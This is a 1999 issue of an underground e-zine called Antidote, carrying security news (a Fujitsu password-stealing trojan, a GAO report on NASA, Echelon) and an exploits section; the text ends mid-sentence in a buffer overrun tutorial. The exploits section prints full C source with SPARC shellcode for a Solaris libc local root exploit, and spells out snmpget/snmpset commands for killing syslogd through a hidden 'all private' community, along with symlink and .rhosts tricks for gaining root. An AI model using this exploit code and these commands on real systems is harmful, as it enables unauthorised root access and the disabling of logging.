Volume 2 Issue 5
5/24/99

          **                                             **                     
       *****                         *       *            **                  * 
      *  ***                        **      ***           **                 **        
         ***                        **       *            **                 **                 
        *  **                     ********                **      ****     ********        
        *  **       ***  ****    ********  ***        *** **     * ***  * ********   ***    
       *    **       **** **** *    **      ***      *********  *   ****     **     * *** 
       *    **        **   ****     **       **     **   ****  **    **      **    *   ***  
      *      **       **    **      **       **     **    **   **    **      **   **    *** 
      *********       **    **      **       **     **    **   **    **      **   ********  
     *        **      **    **      **       **     **    **   **    **      **   ******* 
     *        **      **    **      **       **     **    **   **    **      **   **        
    *****      **     **    **      **       **     **    **    ******       **   ****    * 
   *   ****    ** *   ***   ***      **      *** *   *****       ****         **   *******  
  *     **      **     ***   ***              ***     ***                           *****   
  *                                                                      
   **                          http://www.thepoison.org/antidote

   ------------------------------

    In this issue of Antidote, we have over 525 subscribers and getting more everyday! The
    only thing that we ask of you when you read Antidote, is that you go to:

    www.thepoison.org/popup.html

    and click on our sponsors. One issue of Antidote takes us about a week to put together
    and going to our sponsor only takes you about 15 seconds (if that). So please go visit
    our sponsor because it is the only thing we ask of you.


   --=\\Contents\\=--
	
	0.00 - Beginning
	  0.01 - What?
	  0.02 - FAQ
	  0.03 - Shouts
	  0.04 - Writing
	1.00 - News
	  1.01 - Trojan Horse in Fujitsu
	  1.02 - NASA Vulnerable?
	  1.03 - Clinton Approves Cyberstrike
	  1.04 - Echelon
	2.00 - Exploits (new & older)
	  2.01 - ex_lobc.c.txt
	  2.02 - Sun Solaris 2.6 SNMP
	  2.03 - NetBSD 1.3
	  2.04 - irix.wu-ftp.bof.txt
	  2.05 - winnt.rasman.bof.txt
	3.00 - Misc
	  3.01 - Admin FAQ
	  3.02 - csscan.c.txt
	  3.03 - Secure Storage in Windows

   ------------------------------



<!-- 0.00 - Beginning //-->

0.01 --=\\What?\\=--

    What is 'Antidote'? Well, we wouldn't say that Antidote is a hacking magazine, cause
    that would be wrong. We don't claim to be a hacking magazine. All Antidote is, is
    basically current news and happenings in the underground world. We aren't going to teach
    you how to hack or anything, but we will supply you with the current information and
    exploits. Mainly Antidote is just a magazine for people to read if they have some extra
    time on there hands and are bored with nothing to do. If you want to read a magazine
    that teaches you how to hack etc, then you might want to go to your local bookstore and
    see if they carry '2600'.

   ------------------------------


0.02 --=\\FAQ\\=--

    Here are a lot of questions that we seem to recieve a lot, or our "Frequently Asked
    Questions". Please read this before e-mailing us with questions and if the question
    isn't on here or doesn't make sense, then you can e-mail us with your question.

    > What exactly is "Antidote"?
      See section 0.01 for a complete description.	
	
    > I find Antidote to not be shot for the beginner or does not teach you the basics,
    why is that?
      Antidote is for everyone, all we are basically is a news ezine that comes out once
      a week with the current news, exploits, flaws and even programming. All of the
      articles that are in here are recieved second hand (sent to us) and we very rarely
      edit anyone's articles.

    > I just found Antidote issues on your webpage, is there anyway I can get them sent
    to me through e-mail?
      Yes, if you go to www.thepoison.org/antidote there should be a text box where you can
      input your e-mail address. You will recieve a link to the current Antidote (where you
      can view it).

    > If I want to submit something, are there any 'rules'?
      Please see section 0.03 for a complete description.
	
    > If I submitted something, can I remain anonymous?
      Yes. Just make sure that you specify what information about yourself you would like to
      be published above your article (when sending it to us) and we will do what you say.

    > I submitted something and I didn't see it in the current/last issue, why is that?
      It could be that someone else wrote something similar to what you wrote and they sent
      it to us first. If you sent us something and we didn't e-mail you back, then you might
      want to send it again because we probably didn't get it (we respond to all e-mails no
      matter what). We might use your article in future issues off Antidote.

    > Can I submit something that I didn't "discover" or "write"?
      Yes you can, we take information that is written by anyone regardless if you wrote it
      or not.

    Well thats it for our FAQ. If you have a question that is not on here or the question is
    on here and you had trouble understanding it, then please feel free to e-mail
    lordoak@thepoison.org and he will answer your question. This FAQ will probably be
    updated every month.

   ------------------------------


0.03 --=\\Shouts\\=--

    These are just some shout outs that we feel we owe to some people. Some are individuals
    and Some are groups in general. If you are not on this list and you feel that For some
    reason you should be, then please contact Lord Oak and he will post you on here and we
    are sorry for the Misunderstanding. Well, here are the shout outs:
     
                             Lord Oak           EazyMoney
                             Duece              Astral
                             PBBSER             oX1dation
                             Forlorn            Retribution
                             0dnek              www.thepoison.org

    Like we said above, if we forgot you and/or you think you should be added, please e-mail
    lordoak@thepoison.org and he will be sure to add you.

   ------------------------------


0.04 --=\\Writing\\=--

    As many of you know, we are always open to articles/submittings. We will take almost
    anything that has to do with computer security. This leaves you open for:

	-Protecting the system (security/securing)
	-Attacking the system (hacking, exploits, flaws, etc....)
	-UNIX (really anything to do with it...)
	-News that has to do with any of the above....

    The only thing that we really don't take is webpage hacks, like e-mailing us and saying
    "www.xxx.com" was hacked... But if you have an opinion about the hacks that is fine. If
    you have any questions about what is "acceptable" and not, please feel free to e-mail
    Lord Oak [lordoak@thepoison.org] with your question and he will answer it. Also, please
    note that if we recieve two e-mails with the same topic/idea then we will use the one
    that we recieved first. So it might be a good idea to e-mail one of us and ask us if
    someone has written about/on this topic so that way you don't waste your time on writing
    something that won't be published. An example of this would be:

	If Joe sends me an e-mail with the topic being on hacking hotmail accounts on
	thursday.
	And then Bill sends us an e-mail on hacking hotmail accounts on sunday, we will
	take Joe's article because he sent it in first.

    But keep in mind, we might use your article for the next issue! If you have something
    that you would like to submit to Antidote, please e-mail lordoak@thepoison.org or
    duece@thepoison.org  and one of us will review the article and put it in Antidote (if we
    like it).

   ------------------------------


           _________________________________
          )                        ___      (
         (     //___/ / //   ) ) //   ) )    )
          )   /____  / //   / /   __ / /    ( 
         (        / / //   / /       ) )     )
          )      / / ((___/ /  ((___/ /     ( 
         (    http://www.403-security.org    )
          )  For the latest hacks and news  (
         (___________________________________)                                 



<!-- 1.00 - News & Exploits //-->

1.01 --=\\Trojan Horse in Fujitsu\\=--

    [www.asiabiztech.com]

    An operator of InfoWeb, Fujitsu Ltd.'s Internet service, said an unknown party using the
    service's name sent its subscribers a file disguised as vaccine software. 

    The file is actually a virus program that steals passwords.

    G-Search Ltd., a Fujitsu affiliate and InfoWeb services operator, investigated the
    incident and said that there were at least 68 customers who had received the problem
    email, to which a virus believed to be a vaccine was attached, from its InfoWeb service
    center as sender. 

    The email read, "As a virus, called TX-500, is rampant, users should execute a vaccine
    program attached to this email to avoid being infected by the virus as soon as possible.
    You also had better change your password to a new one for dial-up connection online
    because your password may have been stolen."

    The mail pointed to the home page of InfoWeb for users to change a password, and there
    were authentic telephone and fax numbers of G-Search's InfoWeb service center on the
    page. 

    The content of the mail turned out to be false, however. 

    The InfoWeb service center said it didn't send such an alert to its users. Further, an
    attached file to this mail message was found to be a virus. 

    Network Associates Japan Inc., a vendor of virus-inspection software, studied the
    attached file at the request of G-Search and found that it was indeed a virus software
    capable of taking in password changes done by users online and transferring the new
    password information to some destination address.

    InfoWeb has already issued a warning that users watch out for a virus-tainted email that
    may have come to them under the name of InfoWeb, through its Web site on the night of
    May 9, the day the first damage report came in. 

    By the evening of May 10, when InfoWeb identified the email as a virus, it contacted all
    of the 68 users either via email or by telephone, in case that they did not read the
    warning email, and instructed those who already executed the program on ways to recover
    from the damage it inflicted. There were about 10 people who already executed the virus-
    laden "vaccine" program. 

    On the morning of May 11, on InfoWeb's home page, detailed information was posted about
    the virus with password-stealing capabilities and how to deal with it upon receipt of
    the mail. 

    Though the virus-laden email arrives, no damage will be caused without execution.
    Moreover, Macintosh computers will not be affected by the virus because it is created
    for the Windows operating system.

    Network Associates succeeded in developing a program for checking the virus in question,
    but not a vaccine program against the virus that can remove it from infected computers.

    Once G-Search can identify who spread the virus by cashing in on InfoWeb, the company
    plans to take legal action against the sender.

    This time the incident appears to have given Internet users another lesson as harmful
    email. A similar incident had emerged on May 4 mainly in the United States that a mail
    message pretended to be sent by America Online Inc., apparently aimed at stealing credit
    card numbers from AOL users.

   http://www.nikkeibp.asiabiztech.com/wcs/leaf?CID=onair/asabt/news/70448
   ------------------------------


1.02 --=\\NASA Vulnerable?\\=--

    [http://www.fcw.com]

    Many of NASA's mission-critical information systems are vulnerable to attack, and almost
    all the systems do not meet the agency's own requirements for risk assessment, according
    to a General Accounting Office report released today.

    In tests conducted by GAO at one of NASA's field centers, experts were able to penetrate
    several mission-critical systems, including one responsible for calculating the posi-
    tioning data for spacecraft.

    "Having obtained access to these systems, we could have disrupted NASA's ongoing command
    and control operations and stolen, modified or destroyed system software and data," the
    report states.

    GAO attributed much of the success of the attacks to NASA's lack of consistent informa-
    tion security management and policies as suggested by GAO's 1998 Executive Guide. And
    although NASA performed a special review of its information security program last May
    that found many of the same problems identified by GAO, few of the recommended fixes
    have been started, according to the report.

    GAO recommended that NASA put in place an agencywide security program addressing five
    areas: assessing risks and evaluating needs; implementing policies and controls;
    monitoring compliance with policy and effectiveness of controls; providing computer
    security training; and coordinating responses to security incidents.

   http://www.fcw.com/pubs/fcw/1999/0517/web-nasa-5-20-99.html
   ------------------------------


1.03 --=\\Clinton Approves Cyberstrike\\=--

    [www.wired.com]

    President Clinton has approved a top-secret plan to destabilize Yugoslav leader Slobodan
    Milosevic, using computer hackers to attack his foreign bank accounts and a sabotage
    campaign to erode his public support, Newsweek magazine reported on Sunday.

    The magazine, in its 31 May edition, quoted sources as saying Clinton issued an
    intelligence "finding" allowing the Central Intelligence Agency to find "ways to get at
    Milosevic."

    The finding would permit the CIA to train ethnic Albanian rebels in Kosovo in the art of
    sabotage, including such tricks as cutting telephone lines, fouling gasoline reserves,
    and pilfering food supplies, the magazine reported.

    The CIA also was instructed to wage a cyberwar against Milosevic, using computer hackers
    to tap into the Yugoslav president's foreign bank accounts, the magazine said.

    Newsweek said other NATO allies were not to be told about the secret war.

    The Senate and House of Representatives intelligence committees were briefed on the
    decision, Newsweek said. Some lawmakers criticized the finding, questioning the legality
    and wisdom of launching a risky covert action, the magazine said.

    "If they pull it off, it will be great," Newsweek quoted one government cyberwar expert
    as saying. "If they screw it up, they are going to be in a world of trouble."

    Senator Joseph Lieberman (D-Connecticut) said on Fox News Sunday he thought a cyberwar
    against the Yugoslav leader was "totally acceptable."

    "I wouldn't be surprised if we were using it here as part of an effort to bring the war
    in Kosovo home to the people, the civilians in Belgrade, so that they pressure Milosevic
    to break and make an agreement with NATO," Lieberman said.

   http://www.wired.com/news/news/politics/story/19836.html
   ------------------------------


1.04 --=\\Echelon\\=--

    [www.theage.com]

    Australia has become the first country openly to admit that it takes part in a global
    electronic surveillance system that intercepts the private and commercial international
    communications of citizens and companies from its own and other countries. The
    disclosure is made today in Channel 9's Sunday program by Martin Brady, director of the
    Defence Signals Directorate in Canberra.

    Mr Brady's decision to break ranks and officially admit the existence of a hither to
    unacknowledged spying organisation called UKUSA is likely to irritate his British and
    American counterparts, who have spent the past 50 years trying to prevent their own
    citizens from learning anything about them or their business of ``signals intelligence''
    - ``sigint'' for short.

    In his letter to Channel 9 published today, Mr Brady states that the Defence Signals
    Directorate (DSD) ``does cooperate with counterpart signals intelligence organisations
    overseas under the UKUSA relationship".

    In other statements which have now been made publicly available on the Internet
    (www.dsd.gov.au), he also says that DSD's purpose ``is to support Australian Government
    decision-makers and the Australian Defence Force with high-quality foreign signals
    intelligence products and services. DSD (provides) important information that is not
    available from open sources".

    Together with the giant American National Security Agency (NSA) and its Canadian,
    British, and New Zealand counterparts, DSD operates a network of giant, highly automated
    tracking stations that illicitly pick up commercial satellite communications and examine
    every fax, telex, e-mail, phone call, or computer data message that the satellites carry

    The five signals intelligence agencies form the UKUSA pact. They are bound together by a
    secret agreement signed in 1947 or 1948. Although its precise terms have never been
    revealed, the UKUSA agreement provides for sharing facilities, staff, methods, tasks and
    product between the participating governments. 

    Now, due to a fast-growing UKUSA system called Echelon, millions of messages are
    automatically intercepted every hour, and checked according to criteria supplied by
    intelligence agencies and governments in all five UKUSA countries. The intercepted
    signals are passed through a computer system called the Dictionary, which checks each
    new message or call against thousands of ``collection'' requirements. The Dictionaries
    then send the messages into the spy agencies' equivalent of the Internet, making them
    accessible all over the world. 

    Australia's main contribution to this system is an ultra-modern intelligence base at
    Kojarena, near Geraldton in Western Australia. The station was built in the early 1990s.
    At Kojarena, four satellite tracking dishes intercept Indian and Pacific Ocean
    communications satellites. The exact target of each dish is concealed by placing them
    inside golfball like ``radomes''. 

    About 80 per cent of the messages intercepted at Kojarena are sent automatically from
    its Dictionary computer to the CIA or the NSA, without ever being seen or read in
    Australia. Although it is under Australian command, the station - like its controversial
    counterpart at Pine Gap - employs American and British staff in key posts. 
    
    Among the ``collection requirements" that the Kojarena Dictionary is told to look for
    are North Korean economic, diplomatic and military messages and data, Japanese trade
    ministry plans, and Pakistani developments in nuclear weapons technology and testing. In
    return, Australia can ask for information collected at other Echelon stations to be sent
    to Canberra. 

    A second and larger, although not so technologically sophisticated DSD satellite station
    has been built at Shoal Bay, Northern Territory. At Shoal Bay, nine satellite tracking
    dishes are locked into regional communications satellites, including systems covering
    Indonesia and south-west Asia. 

    International and governmental concern about the UKUSA Echelon system has grown
    dramatically since 1996, when New Zealand writer Nicky Hager revealed intimate details
    of how it operated. New Zealand runs an Echelon satellite interception site at Waihopai,
    near Blenheim, South Island. Codenamed ``Flintlock", the Waihopai station is half the
    size of Kojarena and its sister NSA base at Yakima, Washington, which also covers
    Pacific rim states. Waihopai's task is to monitor two Pacific communications satellites,
    and intercept all communications from and between the South Pacific islands. 

    Like other Echelon stations, the Waihopai installation is protected by electrified
    fences, intruder detectors and infra-red cameras. A year after publishing his book,
    Hager and New Zealand TV reporter John Campbell mounted a daring raid on Waihopai,
    carrying a TV camera and a stepladder. From open, high windows, they then filmed into
    and inside its operations centre. 

    They were astonished to see that it operated completely automatically. 
    
    Although Australia's DSD does not use the term ``Echelon'', Government sources have
    confirmed to Channel 9 that Hager's description of the system is correct, and that the
    Australia's Dictionary computer at Kojarena works in the same way as the one in New
    Zealand. 

    Until this year, the US Government has tried to ignore the row over Echelon by refusing
    to admit its existence. The Australian disclosures today make this position untenable.
    US intelligence writer Dr Jeff Richelson has also obtained documents under the US
    Freedom of Information Act, showing that a US Navy-run satellite receiving station at
    Sugar Grove, West Virginia, is an Echelon site, and that it collects intelligence from
    civilian satellites. 

    The station, south-west of Washington, lies in a remote area of the Shenandoah Mountains
     According to the released US documents, the station's job is ``to maintain and operate
    an Echelon site''. Other Echelon stations are at Sabana Seca, Puerto Rico, Leitrim,
    Canada and at Morwenstow and London in Britain. 

    Information is also fed into the Echelon system from taps on the Internet, and by means
    of monitoring pods which are placed on undersea cables. Since 1971, the US has used
    specially converted nuclear submarines to attach tapping pods to deep underwater cables
    around the world. 

    The Australian Government's decision to be open about the UKUSA pact and the Echelon spy
    system has been motivated partly by the need to respond to the growing international
    concern about economic intelligence gathering, and partly by DSD's desire to reassure
    Australians that its domestic spying activity is strictly limited and tightly
    supervised. 

    According to DSD director Martin Brady, ``to ensure that (our) activities do not impinge
    on the privacy of Australians, DSD operates under a detailed classified directive
    approved by Cabinet and known as the Rules on Sigint and Australian Persons". 

    Compliance with this Cabinet directive is monitored by the inspector-general of security
    and intelligence, Mr Bill Blick. He says that ``Australian citizens can complain to my
    office about the actions of DSD. And if they do so then I have the right to conduct an
    inquiry." 

    But the Cabinet has ruled that Australians' international calls, faxes or e-mails can be
    monitored by NSA or DSD in specified circumstances. These include ``the commission of a
    serious criminal offence; a threat to the life or safety of an Australian; or where an
    Australian is acting as the agent of a foreign power". Mr Brady says that he must be
    given specific approval in every case. But deliberate interception of domestic calls in
    Australia should be left to the police or ASIO. 
    Mr Brady claims that other UKUSA nations have to follow Australia's lead, and not record
    their communications unless Australia has decided that this is required. ``Both DSD and
    its counterparts operate internal procedures to satisfy themselves that their national
    interests and policies are respected by the others," he says.

    So if NSA happens to intercept a message from an Australian citizen or company whom DSD
    has decided to leave alone, they are supposed to strike out the name and insert
    ``Australian national'' or ``Australian corporation'' instead. Or they must destroy the
    intercept. 

    That's the theory, but specialists differ. According to Mr Hager, junior members of
    UKUSA just can't say ``no''. ``... When you're a junior ally like Australia or New
    Zealand, you never refuse what they ask for.'' 

    There are also worries about what allies might get up to with information that Australia
    gives them. When Britain was trying to see through its highly controversial deal to sell
    Hawk fighters and other arms to Indonesia, staff at the Office of National Assessments
    feared that the British would pass DSD intelligence on East Timor to President Soeharto
    in order to win the lucrative contract. 

    The Australian Government does not deny that DSD and its UKUSA partners are told to
    collect economic and commercial intelligence. Australia, like the US, thinks this is
    especially justified if other countries or their exporters are perceived to be behaving
    unfairly. Britain recognises no restraint on economic intelligence gathering. Neither
    does France. 
    
    According to the former Canadian agent Mike Frost, it would be ``nave" for Australians
    to think that the Americans were not exploiting stations like Kojarena for economic
    intelligence purposes. ``They have been doing it for years," he says. ``Now that the
    Cold War is over, the focus is towards economic intelligence. Never ever over-exaggerate
    the power that these organisations have to abuse a system such as Echelon. Don't think
    it can't happen in Australia. It does.'' 

   http://www.theage.com.au/daily/990523/news/news3.html
   ------------------------------


          10001010100101110101010101001011101010101000
          0                                          1
          1   Y88b Y88 888 888 888 88e     e88'Y88   0
          1    Y88b Y8 888 888 888 888b   d888  'Y   1
          0   b Y88b Y 8888888 888 8888D C8888       1
          0   8b Y88b  888 888 888 888P   Y888  ,d   1
          1   88b Y88b 888 888 888 88"     "88,d88   0
          1                                          1
          1        http://www.nudehackers.com        0
          0                                          0
          01001010110101010001011010010111010100101011


<!-- 2.00 - Exploits (new & older) //-->

2.01 --=\\ex_lobc.c.txt\\=--

    libc overflows when that handles LC_MESSAGES. So, If you set the long string to
    LC_MESSAGES and call /bin/sh, the core file is dumped. This is serious problem.

    The long string that contains the exploit code is set to LC_MESSAGES and called suid
    program by execl(), local user can get the root privilege. The called suid program have
    not to contain the overflow bugs. I confirmed this bug on Solaris2.6 and Solaris7.
    Solaris2.4, 2.5 does not contain this bug.

    The following program is an example to get root privilege. This is tested on Solaris2.6
    for Sparc edition. This program calls "/bin/passwd", but you can also specify other suid
    programs such as "/bin/su" or "/bin/rsh".


    /*============================================================
       ex_lobc.c Overflow Exploits( for Sparc Edition)
       The Shadow Penguin Security
       (http://base.oc.to:/skyscraper/byte/551)
       Written by UNYUN (unewn4th@usa.net)
      ============================================================
    */
    #define EV          "LC_MESSAGES="
    #define ADJUST      0
    #define OFFSET      5392
    #define STARTADR    400
    #define NOP         0xa61cc013
    #define RETS        600

    char    x[80000];

    char exploit_code[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
    "\x2b\x0b\xda\xdc\xae\x15\x63\x68"
    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
    "\x94\x10\x20\x10\x94\x22\xa0\x10"
    "\x9c\x03\xa0\x14"
    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08"
    ;

    unsigned long get_sp(void)
    {
    __asm__("mov %sp,%i0 \n");
    }

    int i;
    unsigned int ret_adr;

    main()
    {
    putenv("LANG=");
    memset(x,'x',70000);

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/passwd","passwd",(char *)0);
    }


    ---
    The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551
    Webmaster : UNYUN (unewn4th@usa.net)

   ------------------------------


2.02 --=\\Sun Solaris 2.6 SNMP\\=--

       Sun's snmpd implementation as supplied with Solaris 2.6 includes what used
    to be shipped with Sun's Solstice Admin suite as it's snmpd, and associated
    subagents.  Sun's snmpd is actually pretty interesting, in that it supports
    a number of features that really could be useful, if it wasn't for the fact
    that snmp is so insecure.  Sun allows for the use of subagents, similar, in
    concept at least, to the AgentX initiatives which were tried with other
    SNMPv1 implementations.  This complexity seems to have lead to a few short 
    sighted design decisions, which can be leveraged to gain extensive information
    on a machine, as well as used to create both denial of service situations
    on the machine, as well as making it possible to leverage things to allow
    root compromise on the local host.  I believe it's also probably possible,
    using either the dmi service, or some of the sunMasterAgent mib to gain
    remote access.  I have not succeeded in doing so yet, but someone with
    better working knowledge of the Solstice Admin Suite (or who has a copy)
    could probably easily leverage this to gain remote access.


    1) Information gathering ability.
       Besides the typical amounts of information available via SNMP, Sun was nice
    enough to add a 'sunProccesses' group.  From this table, it's trivial to
    extract a list of processes running, users logged in, idle times, TTY's, etc.
    Anything you could get out of a ps or netstat.  This all lives in the 
    /var/snmp/mib/sun.mib MIB.
       Sun's SNMP Master Agent MIB (/var/snmp/mib/snmpdx.mib) also has some 
    interesting pieces of information that might, on the surface, not appear to
    be all that interesting, but can prove to be.  This includes subagent
    configuration paths, executable paths, watchdog values, listening ports for
    subagents, and a whole slew of other stuff.


    2) MIB manipulation
       As shipped, Sun has defined 3 communities.  They are 'public', 'private',
    and 'all private'.  The first two are defined in /etc/snmp/conf/snmpdx.acl...
    the final one doesn't seem  to exist in any configuration file.  Public is
    read only.  Private has write access to (supposedly) only the system mib, and
    all private' has write access to the whole MIB.  Yes.  The whole MIB.  Set's
    on the MIB-II that are going to work will always work via the SNMP port.  Set's
    to the sunMib usually work via 161 also.  
    But what if port 161 is blocked via the firewall, or via efs or ipfilter
    on the host?

    3) Agent Ports
       Sun's subagent idea, while a good one, is less than secure.  To manipulate
    the MIB-II and the sunMib, they use a subagent called mibiisa, which runs on
    some arbitrary high port, usually somewhere around 32780.  By probing the
    with snmpget's on these high ports, we can find the listening port for mibiisa.
    I tend to do get's for something simple like system.sysDescr.0, which will
    always exist, using the 'public' community.  When a response is recieved,
    we've hit the mibiisa, and can perform set's via this port with the 
    'all private' community.

    Sun's snmpd tends to get in weird limbo states where it behaves badly.  I
    believe this has to do with the subagent communication mechanism, but I'm
    not entirely sure.  Sometimes it's necessary to use the high port to do a set,
    sometimes, the low one.  Sometimes you need to forge the source address as
    being loopback, sometimes you don't.  Why, I have no idea.  Things also
    sometimes take a few seconds to be reflected in the MIB.  Processes, for 
    instance, don't always appear instantly in the MIB.

    Example:  Killing a process living on a remote host behind a crappy firewall.

    a) snmpget -p 32780 -v 1 hostname public system.sysDescr.0
    ... nothing gets returned...

    snmpget -p 32781 -v 1 hostname public system.sysDescr.0	
    ... nothing gets returned...we keep trying ports until we get something back...

    snmpget -p 32788 -v 1 hostname public system.sysDescr.0	
    system.sysDescr.0 = "Sun SNMP Agent, SPARCstation-5"

    So we know mibiisa lives on port 32788.

    b) snmpwalk -p 32788 -v 1 hostname public \
    .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses

    which will spew out a listing of all the processes on the machine.  Let's go 
    after syslogd.

    snmpwalk -p 32788 -v 1 hostname public \
    .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName \
    | grep syslogd

    This results in:
    enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName.150 
    = "syslogd"

    c) 
    snmpset -p 32788 -v 1 hostname "all private" \
    .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessStatus.150 i 9

    will send a sigkill to syslogd.  And that's the end of logging on the machine.


    4) Leveraging SNMP problems for local root access
    This is actually pretty easy to accomplish.  Since we can send any signal, we
    can always get things to dump core's, and as long as it read in the shadow,
    we can extract it.  Something like ftp would work well.  Ftp to the machine,
    send a sigtrap (5) to it, and it should dump a core in /, mode 644.  Httpd's 
    may also be a line of attack.  We can also use the (now fixed) problem of 
    rpcbind following of symlinks to create a /.rhosts file.  Also, since we can 
    send a SIGUSR1 to in.named, we can create a /usr/tmp/named.run symlink to 
    /.rhosts, send the signal via SNMP, and we're in.  (please note, .rhosts is 
    just a convenient example.  Any file can be attacked)  NOTE: this is also a 
    named bug, in my opinion, and should be addressed.  All the tmp file creation 
    should check for existing symlinks, etc.


    5) Leveraging SNMP problems for remote root access
    This is still a somewhat unknown quantity.  The snmpdx.mib allows for the
    addition of subagents, configurations, and states.  With better knowledge of 
    the way the Solstice agent portions interact with each other, it seems likely 
    that this could be leveraged for remote access.  Something along the lines of 
    depositing a conformant application in a writeable directory (say, an incoming 
    directory in ftp).  Causing remote mounts may also be a possibility, or using 
    an automounted directory.  


    6) Other questionable things
    The lack of authentication used with DMI is almost as disturbing as SNMP.  Any
    user can remotely install or remove configuration files and subagents using the
    standard tools provided with 2.6. (dmi_cmd)  Again, something like a world 
    writeable ftp dir makes this easy to do.  Again, a lack of working DMI 
    knowledge makes it difficult to say just what is possible.

    The in.named problems mentioned above are problems seperate from the SNMP 
    issues.  If someone creates a link, they need only wait for someone to kill 
    -USR1 the process to obtain root access. The file in question is named.run is 
    created in /var/tmp.

   Jeremy Rauch <jrauch@infonexus.com>
   ------------------------------


2.03 --=\\NetBSD 1.3\\=--
	
    Topic:     Arp Table vulnerablility
    Version:   NetBSD 1.3
    Severity:  Denial of service or traffic hijacking from local network
               cable is possible

    Abstract
    ========

    The implementation of ARP packet reception is vulnerable two attacks:

        - on multihomed hosts, ARP packets from cable A can overwrite
          ARP entries for cable B.

        - for all hosts, ARP packets can overwrite ARP entries marked
          as static.


    Technical Details
    =================

    ARP is a protocol used to dynamically obtain IPv4 to Link level address
    translation, used for Ethernet, FDDI, Token ring, and ARCnet cables,
    described in RFC 826.

    The first vulnerability is specific to hosts with more than one ARP capable
    network attached.  The address information of incoming ARP packets is not
    checked to ensure that it corresponds to one of the addresses of the
    interface on which the packet arrived.  Thus, it would be able to suppress
    or redirect traffic from the attacked host to a different destination.

    The second vulnerability is related to so-called "static" arp entries.
    The original NetBSD ARP implementation (as that of most other vendors)
    allows the creation of "static" or "permanent" ARP entries.  They are
    typically used for two reasons:

        - as a security measure, to disallow the redirection of traffic
          addressed to priviledged hosts by rogue hosts on the cable to
          themselves or elsewhere,

        - as a cheap routing protocol ("proxy ARP"), mostly when
          connecting single hosts through point to point links.  To the
          outside, they occur as if they where on the (e.g.) Ethernet, but
          traffic destined for them is redirected by the ARP mechanism to
          the routing host.

    The 2nd usage doesn't create specific denial of service possibilities as
    the ARP protocol is insecure in itself.

    However, if static ARP entries are used to prevent D.O.S. attacks, they need
    to be protected from overwriting.


    Solutions and Workarounds
    =========================

    NetBSD-1.4, and NetBSD-1.4_BETA after 1999-05-05, are fixed.

    A patch is available for NetBSD 1.3.3 to fix this problem.  You may
    find this patch on the NetBSD ftp server:

        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990505-arp


    NetBSD-current since 19990506 is not vulnerable.  Users of
    NetBSD-current should upgrade to a source tree later than 19990506.



    Thanks To
    =========

    Both vulnerabilities were reported by Olaf "Rhialto" Seibert in NetBSD
    PR 7489 and PR 7490.  A fix was provided by Zdenek Salvet in PR 7497,
    and integrated into NetBSD by Ignatios Souvatzis.


    Revision History
    ================

        1999/05/21 - initial version


    More Information
    ================

    Information about NetBSD and NetBSD security can be found at
    http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/.


    Copyright 1999, The NetBSD Foundation, Inc.  All Rights Reserved.

    $NetBSD: NetBSD-SA1999-010.txt,v 1.3 1999/05/21 12:47:00 mrg Exp $

   ------------------------------


2.04 --=\\irix.wu-ftp.bof.txt\\=--

    Date: Thu, 20 May 1999 15:00:00 -0700
    From: Lance James <lance@DIGIGAMI.COM>
    To: BUGTRAQ@netspace.org
    Subject: IRIX ftpd overflow

    Regarding the wu-ftpd buffer overflow, it seems vulnerable in IRIX as well.
    While testing it, it seemed to have core dumped and dumped the passwd file
    in there as well, but it's only core dumped once. Any feedback on IRIX info
    would be helpful.
    Lance James
    Network Security Administrator
    Alchemy Communications, Inc.
    lance@alchemy.net

    P.S. Tested on Irix 6.3

   ------------------------------


2.05 --=\\winnt.rasman.bof.txt\\=--

    Introduction
  
    This document is for educational purposes only and explains what a
    buffer overrun is and shows how they can be exploited on the Windows
    NT 4 operating system using RASMAN.EXE as a case study. We will take a
    look at Windows NT processes, virtual address space, the dynamics of a
    buffer overrun and cover certain key issues such as explaining what a
    stack is and what the ESP, EBP and EIP CPU registers are and do. With
    these covered we'll look into the buffer overrun found in RASMAN.EXE.
    This document may be freely copied and distributed only in its
    entirety and if credit is given.
   
    Cheers, David Litchfield
   
    What is a buffer overrun?
  
    A buffer overrun is when a program allocates a block of memory of a
    certain length and then tries to stuff too much data into the buffer,
    with the extra overflowing and overwritting possibly critical
    information crucial to the normal execution of the program. Consider
    the following source:
   
    #include <stdio.h>
    int main ( )
    {
        char name[31];
        printf("Please type your name: ");
        gets(name);
        printf("Hello, %s", name);
        return 0;
    }

    When this source is compiled and turned into a program and the program
    is run it will assign a block of memory 32 bytes long to hold the name
    string. Under normal operation someone would type in their name, for
    instance "David", and the program would then print to the screen
    "Hello, David". David is 5 letters long, with each letter taking up a
    single byte. The end of a string, though, is denoted by a thing called
    a null terminator - which is basically a byte with a value of zero. So
    we need to add a null terminator to the end of the string making a
    total length of 6 bytes. It is clear that 6 bytes will fit into the 32
    bytes set aside to store the name string. If however, instead of
    entering "David", we entered
   
